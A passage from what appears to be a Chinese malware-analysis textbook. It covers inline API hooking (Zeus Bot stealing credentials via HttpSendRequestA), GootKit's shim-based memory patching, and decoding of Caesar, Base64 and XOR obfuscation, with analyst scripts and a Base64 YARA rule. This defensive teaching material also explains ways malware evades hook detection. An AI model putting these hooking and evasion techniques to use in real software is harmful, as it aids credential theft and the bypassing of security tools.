为了用跳转替换函数的前几个指令,恶意软件需要选择要替换的指令。jmp 指令至少需要 5 个字节,因此恶意软件需要选择占用 5 个字节或更多的指令。在前面的示意图中,替换前 3 个指令是安全的(使用不同颜色高亮显示),因为它们正好占用 5 个字节,而且这些指令除了设置堆栈帧外没有其他作用。在 DeleteFileA() 中要替换的三个指令被复制,然后用某种跳转语句替换,这样可以将控制转移到恶意函数。恶意函数执行所需的操作后,再执行 DeleteFileA() 的原始三个指令,并跳转回位于 修补(跳转指令下方)之下的地址,如下图所示。被替换的指令以及跳转回目标函数的跳转语句统称为 跳板(trampoline)

这种技术可以通过查看 API 函数开头是否有意外的跳转指令来进行检测,但要注意,恶意软件可以通过将跳转指令插入到 API 函数的更深处来使检测变得更加困难,而不是将跳转指令放在函数的开头。恶意软件可能不会使用 jmp 指令,而是使用 call 指令,或是 pushret 指令的组合来重定向控制;这种技术可以绕过只寻找 jmp 指令的安全工具。

在了解了内联挂钩(inline hooking)之后,接下来让我们看一个使用此技术的恶意软件示例(Zeus Bot)。Zeus Bot 挂钩了多个 API 函数,其中之一是 HttpSendRequestA(),位于 Internet Explorer 中(iexplore.exe)。通过挂钩此函数,恶意软件可以从 POST 载荷中提取凭据。在挂钩之前,恶意可执行文件(包含多个功能)会被注入到 Internet Explorer 的地址空间中。下图显示了注入的地址 0x33D0000

在注入可执行文件后,HttpSendRequestA() 被挂钩,程序控制被重定向到注入的可执行文件中的一个恶意函数。在我们查看挂钩函数之前,先来看一下合法的 HttpSendRequestA() 函数的前几个字节(如下所示):

前三个指令(占用 5 个字节,如前面的截图所示)被替换,以重定向控制。下图展示了挂钩后的 HttpSendRequestA(),前三个指令被 jmp 指令替换(占用 5 个字节);请注意,跳转指令如何将控制重定向到恶意代码,地址 0x33DEC48 位于注入的可执行文件的地址范围内:

4.3 使用 Shim 进行内存修补

在内联钩取中,我们看到函数中的一系列字节被补丁修改,以重定向控制到恶意代码。可以通过使用应用兼容性 shim(shim 的详细信息之前已介绍)来执行内存中的补丁。微软使用内存补丁功能来修复其产品中的漏洞。内存补丁是一个未文档化的功能,在兼容性管理员工具(之前讲解过)中无法使用,但安全研究人员通过逆向工程,已弄清楚内存补丁的功能,并开发了工具来分析它们。Jon Erickson 的sdb-explorergithub.com/evil-e/sdb-explorer)和 William Ballenthin 的python-sdbgithub.com/williballenthin/python-sdb)允许你通过解析 shim 数据库(.sdb)文件来检查内存中的补丁。以下是这些研究人员的演示,包含有关内存补丁的详细信息,以及分析它们的工具:

恶意软件作者已经使用内存补丁来注入代码并钩取 API 函数。使用内存补丁的恶意软件样本之一是GootKit;该恶意软件使用sdbinst工具安装多个 shim 数据库(文件)。以下截图显示了为多个应用程序安装的 shim,并且截图显示了与explorer.exe相关的.sdb文件:

安装的.sdb文件包含将直接补丁到目标进程内存中的 shellcode。你可以使用sdb_dump_database.py脚本(python-sdb工具的一部分)来检查.sdb文件,使用如下命令:

$ python sdb_dump_database.py {4c895e03-f7a5-4780-b65b-549b3fef0540}.sdb

上述命令的输出显示了针对explorer.exe的恶意软件,并应用了一个名为patchdata0的 shim。shim 名称下的PATCH_BITS是包含将被补丁到explorer.exe内存中的 shellcode 的原始二进制数据:

要了解 shellcode 在做什么,我们需要能够解析PATCH_BITS,这是一个未文档化的结构。要解析这个结构,你可以使用sdb_dump_patch.py脚本(python-sdb的一部分),通过给出补丁名称patchdata0,如下面所示:

$ python sdb_dump_patch.py {4c895e03-f7a5-4780-b65b-549b3fef0540\}.sdb patchdata0

执行上述命令显示了在 explorer.exe 中应用的各种补丁。以下截图显示了第一个补丁,其中它在相对虚拟地址 (RVA) 0x0004f0f2 匹配两个字节,8B FF (mov edi,edi),并将其替换为 EB F9 (jmp 0x0004f0ed)。换句话说,它将控制重定向到 RVA 0x0004f0ed

以下输出显示了在 kernel32.dll 中,RVA 0x0004f0ed 位置应用的另一个补丁,恶意软件将一系列 NOP 指令替换为 call 0x000c61a4,从而将程序控制重定向到 RVA 0x000c61a4 的函数。通过这种方式,恶意软件在 kernel32.dll 中打补丁并执行各种重定向,最终将其引导到实际的 shellcode:

若要理解恶意软件在 kernel32.dll 中打的补丁,可以将调试器附加到已补丁的 explorer.exe 进程并定位到 kernel32.dll 中的这些补丁。例如,要检查位于 RVA 0x0004f0f2 的第一个补丁,我们需要确定 kernel32.dll 加载的基地址。在我的情况下,它被加载到 0x76730000,然后加上 RVA 0x0004f0f2(换句话说,0x76730000 + 0x0004f0f2 = 0x7677f0f2)。以下截图显示该地址 0x7677f0f2 与 API 函数 LoadLibraryW() 关联:

检查 LoadLibraryW() 函数显示函数开始处的跳转指令,最终将程序控制重定向到 shellcode:

这项技术很有趣,因为在这种情况下,恶意软件并不直接分配内存或注入代码,而是依赖于微软的 shim 功能来注入 shellcode 并挂钩 LoadLibraryW() API。它还通过跳转到 kernel32.dll 中的多个位置,增加了检测的难度。

5. 其他资源

除了本章介绍的代码注入技术外,安全研究人员还发现了多种其他代码注入方法。以下是一些新的代码注入技术和进一步阅读的资源:

本章我们主要集中讨论了用户空间中的代码注入技术;类似的功能也可以在内核空间中实现(我们将在第十一章中讨论内核空间的 hooking 技术)。以下书籍将帮助您更深入理解 rootkit 技术和 Windows 内部概念:

  • Rootkit 武器库:在系统的黑暗角落中逃避与规避(第二版), 由 Bill Blunden 编著

  • 实用逆向工程:x86、x64、ARM、Windows 内核、逆向工具与混淆技术, 由 Bruce Dang、Alexandre Gazet 和 Elias Bachaalany 编著

  • Windows 内部结构(第七版), 由 Pavel Yosifovich、Alex Ionescu、Mark E. Russinovich 和 David A. Solomon 编著

总结

在本章中,我们探讨了恶意程序使用的不同代码注入技术,恶意代码如何在合法进程的上下文中被注入并执行。这些技术使攻击者能够执行恶意操作,并绕过各种安全产品。除了执行恶意代码外,攻击者还可以劫持合法进程调用的 API 函数(通过 hooking),并将控制流重定向到恶意代码,从而监控、阻止甚至过滤 API 的输出,改变程序的行为。在下一章中,您将学习对手使用的各种混淆技术,这些技术可以帮助他们避开安全监控解决方案的检测。

第九章:恶意软件混淆技术

混淆一词指的是掩盖有意义信息的过程。恶意软件作者通常使用各种混淆技术来隐藏信息,并修改恶意内容,以使安全分析师难以进行检测和分析。对手通常使用编码/加密技术来隐藏信息,防止安全产品检测。除了使用编码/加密之外,攻击者还会使用像打包器这样的程序来混淆恶意的二进制内容,这使得分析和逆向工程变得更加困难。在本章中,我们将讨论如何识别这些混淆技术,以及如何解码/解密和解包恶意二进制文件。我们将首先研究编码/加密技术,之后再研究解包技术。

对手通常使用编码和加密的原因如下:

  • 为了隐蔽命令与控制通信

  • 为了避开基于签名的解决方案,如入侵防御系统

  • 为了混淆恶意软件使用的配置文件内容

  • 为了加密将从受害系统中泄露的信息

  • 为了在恶意二进制文件中混淆字符串,以避开静态分析

在我们深入了解恶意软件如何使用加密算法之前,先让我们了解一些基础概念和本章中会使用的术语。明文指的是未加密的消息;这可能是命令与控制(C2)流量或恶意软件想要加密的文件内容。密文指的是加密后的消息;这可能是恶意软件从 C2 服务器接收到的加密可执行文件或加密命令。

恶意软件通过将明文密钥一起传递给加密函数来加密,生成密文。生成的密文通常会被恶意软件用于写入文件或通过网络发送:

以相同的方式,恶意软件可能会从 C2 服务器或文件接收加密内容,然后通过将加密内容密钥传递给解密函数来解密,过程如下:

在分析恶意软件时,你可能想了解某一特定内容是如何加密或解密的。为此,你将主要关注识别加密或解密函数,以及用于加密或解密内容的密钥。例如,如果你想确定网络内容是如何加密的,那么你很可能会在网络输出操作之前找到加密函数(如HttpSendRequest())。同样,如果你想了解 C2 的加密内容是如何解密的,那么你很可能会在通过 API(如InternetReadFile())从 C2 获取内容后找到解密函数。

一旦确定了加密/解密功能,检查这些函数将帮助你了解内容是如何被加密/解密的、使用了什么密钥,以及采用了什么算法来混淆数据。

1. 简单编码

大多数时候,攻击者使用非常简单的编码算法,如Base64 编码异或加密来混淆数据。攻击者之所以使用简单的算法,是因为它们易于实现,占用的系统资源较少,且足以让安全产品和安全分析人员无法轻易识别内容。

1.1 凯撒密码

凯撒密码,也称为移位密码,是一种传统的密码算法,是最简单的编码技术之一。它通过将明文中的每个字母按一定的固定位置向下移动来加密信息。例如,如果你将字符'A'向下移动3个位置,那么你将得到'D''B'则变为'E',依此类推,当移位达到'X'时会回绕到'A'

1.1.1 凯撒密码的工作原理

理解凯撒密码的最佳方式是将字母从AZ写下来,并为这些字母分配索引,从025,如下所示。换句话说,'A'对应索引0'B'对应索引1,依此类推。所有字母从AZ的集合叫做字符集

现在,假设你想将字母偏移三位,那么3就是你的密钥。要加密字母'A',将字母A的索引(即0)加到密钥3上;这就得到0+3 = 3。然后,使用结果3作为索引来查找对应的字母,即'D',所以'A'被加密为'D'。要加密'B',你将字母'B'的索引(即1)加到密钥3上,这就得到4,索引4对应字母'E',因此'B'被加密为'E',依此类推。

之前技术的问题出现在当我们到达'X'时,它的索引为23。当我们将23+3时得到26,但我们知道索引26没有对应的字符,因为最大索引值是25。我们也知道索引26应该回绕到索引0(对应字母'A')。为了解决这个问题,我们使用取模操作,取字符集的长度。在这种情况下,字符集ABCDEFGHIJKLMNOPQRSTUVWXYZ的长度是26。现在,为了加密'X',我们使用'X'的索引(23)加上密钥(3),然后对字符集长度(26)进行取模操作,结果为0,这个结果作为索引来查找对应的字符,即'A'

(23+3)%26 = 0

取模操作允许你回到开头。你可以使用相同的逻辑来加密字符集中的所有字符(从AZ),并在回绕到起点时继续。在凯撒密码中,你可以使用以下公式获取加密(密文)字符的索引:

(i + key) % (length of the character set)

where i = index of plaintext character

以相同的方式,你可以使用以下方法获取明文(解密后的)字符的索引:

(j - key) % (length of the character set)

where j = index of ciphertext character

以下图示显示了使用 3 作为密钥(移动三个位)的字符集、加密和解密文本 "ZEUS" 的过程。加密后,文本 "ZEUS" 被转换为 "CHXV",然后解密过程将其还原为 "ZEUS"

1.1.2 使用 Python 解密凯撒密码

以下是一个简单的 Python 脚本示例,它将字符串 "CHXV" 解密回 "ZEUS"

>>> chr_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
>>> key = 3
>>> cipher_text = "CHXV"
>>> plain_text = ""
>>> for ch in cipher_text:
 j = chr_set.find(ch.upper())
 plain_index = (j-key) % len(chr_set)
 plain_text += chr_set[plain_index]
>>> print plain_text
ZEUS

一些恶意软件样本可能使用了修改版的凯撒(移位)密码;在这种情况下,你可以修改前面提到的脚本以满足你的需求。APT1 组使用的恶意软件 WEBC2-GREENCAT 从 C2 服务器获取内容,并使用修改版的凯撒密码对内容进行解密。它使用了一个包含 66 个字符的字符集 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789._/-,密钥为 56

1.2 Base64 编码

使用凯撒密码,攻击者可以加密字母,但它并不足以加密二进制数据。攻击者使用其他各种编码/加密算法来加密二进制数据。Base64 编码允许攻击者将二进制数据编码为 ASCII 字符串格式。因此,你经常会看到攻击者在 HTTP 等明文协议中使用 Base64 编码的数据。

1.2.1 将数据转换为 Base64

标准的 Base64 编码由以下 64 个字符组成。每 3 个字节(24 位)的二进制数据将被转换为字符集中的四个字符。每个转换后的字符是 6 位大小。除了以下字符外,= 字符用于填充:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

为了理解数据是如何转换为 Base64 编码的,首先,通过将 063 的索引分配给字符集中的字母,构建 Base64 索引表,如下所示。根据下表,索引 0 对应字母 A,索引 62 对应字符 +,依此类推:

现在,假设我们要对文本 "One" 进行 Base64 编码。为此,我们需要将字母转换为相应的位值,如下所示:

O -> 0x4f -> 01001111
n -> 0x6e -> 01101110
e -> 0x65 -> 01100101

Base64 算法一次处理 3 个字节(24 位);在这种情况下,我们有恰好 24 位,它们被按顺序排列,如下所示:

010011110110111001100101

然后将这 24 位数据拆分为四个部分,每部分包含 6 位,并转换为相应的十进制值。然后使用这些十进制值作为索引,查找 Base64 索引表中对应的值,因此文本 One 编码为 T25l

010011 -> 19 -> base64 table lookup -> T
110110 -> 54 -> base64 table lookup -> 2
111001 -> 57 -> base64 table lookup -> 5
100101 -> 37 -> base64 table lookup -> l

解码 Base64 是一个逆向过程,但理解 Base64 编码或解码的工作原理并非必须,因为有 Python 模块和工具可以帮助你解码 Base64 编码的数据,而无需理解算法。理解这一点有助于在攻击者使用自定义版本的 Base64 编码时应对。

1.2.2 编码与解码 Base64

要在 Python(2.x) 中使用 Base64 编码数据,可以使用以下代码:

>>> import base64
>>> plain_text = "One"
>>> encoded = base64.b64encode(plain_text)
>>> print encoded
T25l

要在 Python 中解码 base64 数据,请使用以下代码:

>>> import base64
>>> encoded = "T25l"
>>> decoded = base64.b64decode(encoded)
>>> print decoded
One

CyberChef 是由 GCHQ 开发的一款优秀的网络应用程序,允许你在浏览器中执行各种编码/解码、加密/解密、压缩/解压缩和数据分析操作。你可以访问 CyberChef 网站 gchq.github.io/CyberChef/,更多信息请参考 github.com/gchq/CyberChef

你还可以使用像 ConverterNET 这样的工具 (www.kahusecurity.com/tools/) 来编码/解码 base64 数据。ConvertNET 提供多种功能,允许你将数据转换为不同格式的输入/输出。要进行编码,输入要编码的文本并点击“Text to Base64”按钮。要进行解码,输入已编码的数据并点击“Base64 to Text”按钮。下图展示了使用 ConverterNET 对字符串 Hi 进行 Base64 编码的过程:

编码字符串末尾的 = 字符是填充字符。回想一下,算法将三字节的输入转换为四个字符,而 Hi 只有两个字符,所以它被填充以使其变为三个字符;每当使用填充时,你都会在 Base64 编码字符串的末尾看到 = 字符。这意味着有效的 Base64 编码字符串的长度总是 4 的倍数。

1.2.3 解码自定义 Base64

攻击者使用不同的 Base64 编码变体;目的是防止 Base64 解码工具成功解码数据。在本节中,你将了解这些技巧中的一些。

一些恶意软件样本会从末尾去掉填充字符 (=)。稍后会展示一个恶意软件样本(Trojan Qidmorks)的 C2 通信。以下的 POST 有效负载看起来像是使用 base64 编码进行编码的:

当你尝试解码 POST 有效负载时,会收到如下的 Incorrect 填充错误:

这个错误的原因是编码字符串的长度 (150) 不是 4 的倍数。换句话说,Base64 编码的数据缺少两个字符,这很可能是填充字符(==):

>>> encoded = "Q3VycmVudFZlcnNpb246IDYuMQ0KVXNlciBwcml2aWxlZ2llcyBsZXZlbDogMg0KUGFyZW50IHByb2Nlc3M6IFxEZXZpY2VcSGFyZGRpc2tWb2x1bWUxXFdpbmRvd3NcZXhwbG9yZXIuZXhlDQoNCg"
>>> len(encoded)
150

向编码字符串添加两个填充字符(==)可以成功解码数据,如下所示。从解码后的数据中可以看到,恶意软件将操作系统版本(表示 Windows 7 的6.1)、用户的权限级别和父进程发送到 C2 服务器:

有时,恶意软件作者会使用base64编码的轻微变种。例如,攻击者可以使用一个字符集,其中字符-_代替了+/(第 63 和 64 个字符),如图所示:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_

一旦你识别出在原始字符集中被替换的字符来编码数据,那么你可以使用类似如下的代码。这里的思路是将修改过的字符替换回标准字符集中的原始字符,然后进行解码:

>>> import base64
>>> encoded = "cGFzc3dvcmQxMjM0IUA_PUB-"
>>> encoded = encoded.replace("-","+").replace("_","/")
>>> decoded = base64.b64decode(encoded)
>>> print decoded
password1234!@?=@~

有时候,恶意软件作者会改变字符集中的字符顺序。例如,他们可能会使用以下字符集,而不是标准字符集:

0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

当攻击者使用非标准的Base64字符集时,你可以使用以下代码解码数据。请注意,在以下代码中,除了64个字符外,变量chr_setnon_chr_set还包括填充字符=(第 65 个字符),这是正确解码所必需的:

>>> import base64
>>> chr_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
>>> non_chr_set = "0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz="
>>> encoded = "G6JgP6w="
>>> re_encoded = ""
>>> for en_ch in encoded:
 re_encoded += en_ch.replace(en_ch, chr_set[non_chr_set.find(en_ch)])
>>> decoded = base64.b64decode(re_encoded)
>>> print decoded
Hello

你还可以通过使用ConverterNET工具执行自定义 Base64 解码,选择 Conversions | Convert Custom Base64。只需在 Alphabet 字段中输入自定义的Base64字符集,然后在 Input 字段中输入要解码的数据,按下 Decode 按钮,如下所示:

1.2.4 识别 Base64

你可以通过查找包含Base64字符集(字母数字字符,+/)的长字符串来识别使用了 Base64 编码的二进制文件。以下截图显示了恶意二进制文件中的Base64字符集,表明恶意软件可能使用了Base64编码:

你可以使用字符串交叉引用功能(在第五章中介绍)来定位Base64字符集所在的代码,如下图所示。尽管在解码Base64数据时,了解Base64字符集在代码中使用的位置并非必须,但有时定位它会很有用,比如当恶意软件作者将Base64编码与其他加密算法一起使用时。例如,如果恶意软件使用某种加密算法加密 C2 网络流量,然后使用Base64编码;在这种情况下,定位Base64字符集可能会让你进入Base64函数。然后,你可以分析Base64函数或识别调用Base64函数的函数(使用Xrefs to功能),这可能会引导你到加密函数:

你可以在x64dbg中使用字符串交叉引用;为此,确保调试器在模块内的某个地方暂停,然后右键点击反汇编窗口(CPU 窗口),选择搜索 | 当前模块 | 字符串引用。

检测二进制文件中是否存在Base64字符集的另一种方法是使用YARA规则(YARA 在第二章,静态分析中有介绍),如这里所示:

rule base64
{
strings:
    $a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    $b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
condition:
    $a or $b
}

1.3 XOR 编码

除了Base64编码之外,恶意软件作者常用的另一种编码算法是XOR编码算法。XOR是一种按位操作(类似于ANDORNOT),它作用于操作数的相应位。下表显示了XOR操作的性质。在XOR操作中,当两个位相同时,结果为0;否则,结果为1

A B A^B
`0** 0 **0`
`1** 0 **1`
`0** 1 **1`
`1** 1 **0`

例如,当你对24进行XOR,即2 ^ 4时,结果是6。它的工作原理如下:

                2: 0000 0010
                4: 0000 0100
---------------------------
Result After XOR : 0000 0110 (6)

1.3.1 单字节 XOR

在单字节XOR中,明文中的每个字节都与加密密钥进行XOR操作。例如,如果攻击者想要使用0x40作为密钥加密明文cat,那么文本中的每个字符(字节)都会与0x40进行XOR运算,结果是密文#!4。下图显示了每个字符的加密过程:

XOR的另一个有趣的性质是,当你用相同的密钥对密文进行XOR操作时,可以恢复明文。例如,如果你将之前例子中的密文#!40x40(密钥)进行XOR运算,你就会得到cat。这意味着如果你知道密钥,那么同一个函数可以用来同时加密和解密数据。以下是一个简单的 Python 脚本,用于执行XOR解密(同一个函数也可以用于执行XOR加密):

def xor(data, key):
    translated = ""
    for ch in data:
        translated += chr(ord(ch) ^ key)
    return translated

if __name__ == "__main__":
   out = xor("#!4", 0x40)
   print out

在了解了XOR编码算法之后,让我们看一个键盘记录器的例子,它将所有的按键输入编码到一个文件中。当该示例被执行时,它会记录按键输入,并使用CreateFileA() API 打开一个文件(所有按键输入将记录到此文件中),如后面所示。然后,它使用WriteFile() API 将记录的按键输入写入文件。请注意恶意软件在调用CreateFileA()之后、WriteFile()之前调用了一个函数(重命名为enc_function);这个函数在将内容写入文件之前对其进行编码。enc_function接受两个参数;第一个参数是包含待加密数据的缓冲区,第二个参数是缓冲区的长度:

检查 enc_function 显示恶意软件使用单字节 XOR。它从数据缓冲区读取每个字符,并使用 0x5A 的密钥进行编码,如下所示。在以下的 XOR 循环中,edx 寄存器指向数据缓冲区,esi 寄存器包含缓冲区的长度,而 ecx 寄存器作为数据缓冲区的索引,在每次循环结束时递增,当索引值 (ecx) 小于缓冲区的长度 (esi) 时,循环继续:

1.3.2 通过暴力破解寻找 XOR 密钥

在单字节 XOR 中,密钥的长度为一个字节,因此只有 255 个可能的密钥 (0x0 - 0xff)0 除外作为 key,因为任何值与 0XOR 运算都会得到相同的结果(即无加密)。由于只有 255 个密钥,你可以尝试对加密数据进行所有可能的密钥破解。如果你知道在解密后的数据中要查找的内容,这种技术非常有用。例如,当执行一个恶意软件样本时,假设恶意软件获取了计算机的主机名 mymachine,并与一些数据连接后,进行单字节 XOR 加密,最终加密为密文 lkwpjeia>i}ieglmja。假设该密文被在 C2 通信中外泄。现在,要确定用于加密密文的密钥,你可以分析加密函数或进行暴力破解。以下 Python 命令实现了暴力破解技术;因为我们期望解密后的字符串包含 "mymachine",所以脚本会尝试用所有可能的密钥解密加密字符串(密文),并在找到 "mymachine" 时显示密钥和解密后的内容。在后面提到的示例中,你可以看到密钥被确定为 4,解密后的内容 hostname:mymachine 包含了主机名 mymachine

>>> def xor_brute_force(content, to_match):
 for key in range(256):
 translated = ""
 for ch in content:
 translated += chr(ord(ch) ^ key)
 if to_match in translated:
 print "Key %s(0x%x): %s" % (key, key, translated)

>>> xor_brute_force("lkwpjeia>i}ieglmja", "mymachine")
Key 4(0x4): hostname:mymachine

你也可以使用诸如 ConverterNET 之类的工具来暴力破解并确定密钥。操作步骤是,选择工具 | 密钥搜索/转换。在弹出的窗口中,输入加密内容和匹配字符串,点击搜索按钮。如果找到密钥,它会显示在结果字段中,如下所示:

暴力破解技术在确定用于加密 PE 文件(如 EXE 或 DLL)的 XOR 密钥时非常有用。只需在解密后的内容中查找匹配的字符串 MZThis program cannot be run in DOS mode

1.3.3 NULL 忽略 XOR 编码

XOR 编码中,当一个空字节 (0x00) 与密钥 XOR 时,会返回该密钥,如下所示:

>>> ch = 0x00
>>> key = 4
>>> ch ^ key
4

这意味着,每当一个包含大量空字节的缓冲区被编码时,单字节 XOR 密钥会变得非常明显。在以下示例中,plaintext变量被分配了一个字符串,其中包含三个空字节,并使用密钥0x4b(字符K)加密,且加密后的输出以十六进制字符串格式和文本格式同时打印。请注意,plaintext变量中的三个null字节在加密内容中被转换为XOR密钥值0x4b 0x4b 0x4b(或KKK)。这种XOR的特性使得如果没有忽略空字节,容易识别出密钥。

>>> plaintext = "hello\x00\x00\x00"
>>> key = 0x4b 
>>> enc_text = ""
>>> for ch in plaintext:
 x = ord(ch) ^ key
 enc_hex += hex(x) + " "
 enc_text += chr(x)

>>> print enc_hex
0x23 0x2e 0x27 0x27 0x24 0x4b 0x4b 0x4b
>>> print enc_text
#.''$KKK

以下截图展示了一个恶意软件样本的XOR加密通信(HeartBeat RAT)。请注意,字节0x2出现在整个加密内容中;这是因为恶意软件使用0x2XOR密钥对一个包含空字节的较大缓冲区进行了加密。有关该恶意软件的逆向工程更多信息,请参考作者在 Cysinfo 会议上的演讲:cysinfo.com/session-10-part-1-reversing-decrypting-communications-of-heartbeat-rat/

为避免空字节问题,恶意软件作者在加密过程中忽略空字节(0x00)加密密钥,如这里提到的命令所示。请注意,在下面的代码中,明文字符使用密钥0x4b进行加密,除了空字节(0x00)和加密密钥字节(0x4b);因此,在加密后的输出中,空字节被保留,而不会泄露加密密钥。如你所见,当攻击者使用此技术时,仅通过查看加密内容很难确定密钥

>>> plaintext = "hello\x00\x00\x00"
>>> key = 0x4b
>>> enc_text = ""
>>> for ch in plaintext:
 if ch == "\x00" or ch == chr(key):
 enc_text += ch
 else:
 enc_text += chr(ord(ch) ^ key)

>>> enc_text
"#.''$\x00\x00\x00"

1.3.4 多字节 XOR 编码

攻击者通常使用多字节XOR,因为它能更好地防御暴力破解技术。例如,如果恶意软件作者使用 4 字节XOR密钥加密数据,然后进行暴力破解,你将需要尝试4,294,967,295 (0xFFFFFFFF)个可能的密钥,而不是255 (0xFF)个密钥。以下截图展示了恶意软件(Taidoor)的XOR解密循环。在这种情况下,Taidoor从其资源部分提取了加密的 PE(exe)文件,并使用 4 字节XOR密钥0xEAD4AA34对其进行了解密。

以下截图展示了Resource Hacker工具中的加密资源。可以通过右键点击资源并选择将资源保存为*.bin 文件来提取并保存该资源。

以下是一个 Python 脚本,它使用4 字节 XOR密钥0xEAD4AA34解码编码的资源,并将解码后的内容写入文件(decrypted.bin):

import os
import struct
import sys

def four_byte_xor(content, key ):
    translated = ""
    len_content = len(content)
    index = 0
    while (index < len_content):
        data = content[index:index+4]
        p = struct.unpack("I", data)[0]
        translated += struct.pack("I", p ^ key)
        index += 4
    return translated

in_file = open("rsrc.bin", 'rb')
out_file = open("decrypted.bin", 'wb')
xor_key = 0xEAD4AA34
rsrc_content = in_file.read()
decrypted_content = four_byte_xor(rsrc_content,xor_key)
out_file.write(decrypted_content)

解密后的内容是一个 PE(可执行文件),如下所示:

$ xxd decrypted.bin | more
00000000:  4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010:  b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020:  0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030:  0000 0000 0000 0000 0000 0000 f000 0000  ................
00000040:  0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050:  6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060:  7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS

1.3.5 识别 XOR 编码

要识别 XOR 编码,在 IDA 中加载二进制文件并通过选择 搜索 | 文本 来搜索 XOR 指令。在弹出的对话框中,输入 xor 并选择 查找所有匹配项,如下所示:

当你点击“确定”时,所有 XOR 的出现位置会被显示出来。通常可以看到 XOR 操作,其中操作数是相同的寄存器,如 xor eax,eaxxor ebx,ebx。这些指令是编译器用来清零寄存器值的,你可以忽略这些指令。要识别 XOR 编码,可以查找 (a) 具有常量值的寄存器(或内存引用)与 XOR 操作,如下所示,或者 (b) 查找寄存器(或内存引用)之间的 XOR 操作。你可以通过双击条目跳转到代码:

以下是一些可以用来确定 XOR 密钥的工具。除了使用 XOR 编码外,攻击者还可能使用 ROL, ROT 或 SHIFT 操作来编码数据。这里提到的 XORSearchBalbuzard 除了支持 XOR 外,还支持 ROLROTShift 操作。CyberChef 支持几乎所有类型的编码、加密和压缩算法:

2. 恶意软件加密

恶意软件作者常常使用简单的编码技术,因为仅仅掩盖数据就足够了,但有时,攻击者也会使用加密。要识别二进制文件中加密功能的使用,可以查找加密指示符(签名),例如:

  • 引用加密函数的字符串或导入

  • 加密常量

  • 加密例程使用的独特指令序列

2.1 使用 Signsrch 识别加密签名

一个有用的工具是 Signsrch,可以用来搜索文件或进程中的加密签名,下载地址是 aluigi.altervista.org/mytoolz.htm。该工具依赖加密签名来检测加密算法。加密签名位于文本文件 signsrch.sig 中。在以下输出中,当使用 -e 选项运行 signsrch 时,它会显示在二进制文件中检测到的 DES 签名的相对虚拟地址:

C:\signsrch>signsrch.exe -e kav.exe

Signsrch 0.2.4
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
  optimized search function by Andrew http://www.team5150.com/~andrew/
  disassembler engine by Oleh Yuschuk

- open file "kav.exe"
- 91712 bytes allocated
- load signatures
- open file C:\signsrch\signsrch.sig
- 3075 signatures in the database
- start 1 threads
- start signatures scanning:

  offset num description [bits.endian.size]
  --------------------------------------------
00410438 1918 DES initial permutation IP [..64]
00410478 2330 DES_fp [..64]
004104b8 2331 DES_ei [..48]
004104e8 2332 DES_p32i [..32]
00410508 1920 DES permuted choice table (key) [..56]
00410540 1921 DES permuted choice key (table) [..48]
00410580 1922 DES S-boxes [..512]
[Removed]

一旦知道了加密指示器所在的地址,你可以使用 IDA 导航到该地址。例如,如果你想导航到地址 00410438DES 初始置换 IP),在 IDA 中加载二进制文件,然后选择 Jump | Jump to address(或按 G 热键),并输入地址,如下所示:

一旦点击确认(OK),你将到达包含指示器的地址(在此案例中,DES 初始置换 IP,标记为DES_ip),如下图所示:

现在,要了解此加密指示器在代码中如何使用,你可以使用交叉引用(Xrefs-to)功能。使用交叉引用(Xrefs to)功能显示 DES_ip 在地址 0x4032E0sub_4032B0 函数中被引用(loc_4032E0):

现在,直接导航到地址 0x4032E0 会带你进入 DES 加密函数,如下图所示。找到加密函数后,你可以使用交叉引用进一步检查它,以了解加密函数被调用的上下文以及用于加密数据的密钥:

与使用 -e 选项定位签名然后手动导航到使用该签名的代码不同,你可以使用 -F 选项,它会直接给出加密指示器在代码中使用的第一条指令的地址。在以下输出中,运行 signsrch 并加上 -F 选项,会直接显示加密指示器 DES 初始置换 IPDES_ip)在代码中使用的地址 0x4032E0

C:\signsrch>signsrch.exe -F kav.exe

[removed]

  offset num description [bits.endian.size]
  --------------------------------------------
[removed]
004032e0 1918 DES initial permutation IP [..64]
00403490 2330 DES_fp [..64]

-e-F 选项会显示相对于 PE 头中指定的 首选基地址 的地址。例如,如果二进制文件的 首选基地址0x00400000,则 -e-F 选项返回的地址是通过将相对虚拟地址与首选基地址 0x00400000 相加来确定的。当你运行(或调试)二进制文件时,它可能会加载到除首选基地址以外的任何地址(例如 0x01350000)。如果你希望定位运行中进程或在调试二进制文件时(在 IDA 或 x64dbg 中)中的加密指示器地址,你可以使用 signsrch 命令并加上 -P <pid 或进程名称> 选项。-P 选项会自动确定可执行文件加载的基地址,然后计算加密签名的虚拟地址,如下所示:

C:\signsrch>signsrch.exe -P kav.exe

[removed]

- 01350000 0001b000 C:\Users\test\Desktop\kav.exe
- pid 3068
- base address 0x01350000
- offset 01350000 size 0001b000
- 110592 bytes allocated
- load signatures
- open file C:\signsrch\signsrch.sig
- 3075 signatures in the database
- start 1 threads
- start signatures scanning:

  offset num description [bits.endian.size]
  --------------------------------------------
  01360438 1918 DES initial permutation IP [..64]
 01360478 2330 DES_fp [..64]
 013604b8 2331 DES_ei [..48]

除了检测加密算法,Signsrch 还可以检测压缩算法、一些反调试代码以及 Windows 加密函数,这些函数通常以 Crypt 开头,如 CryptDecrypt()CryptImportKey()

2.2 使用 FindCrypt2 检测加密常量

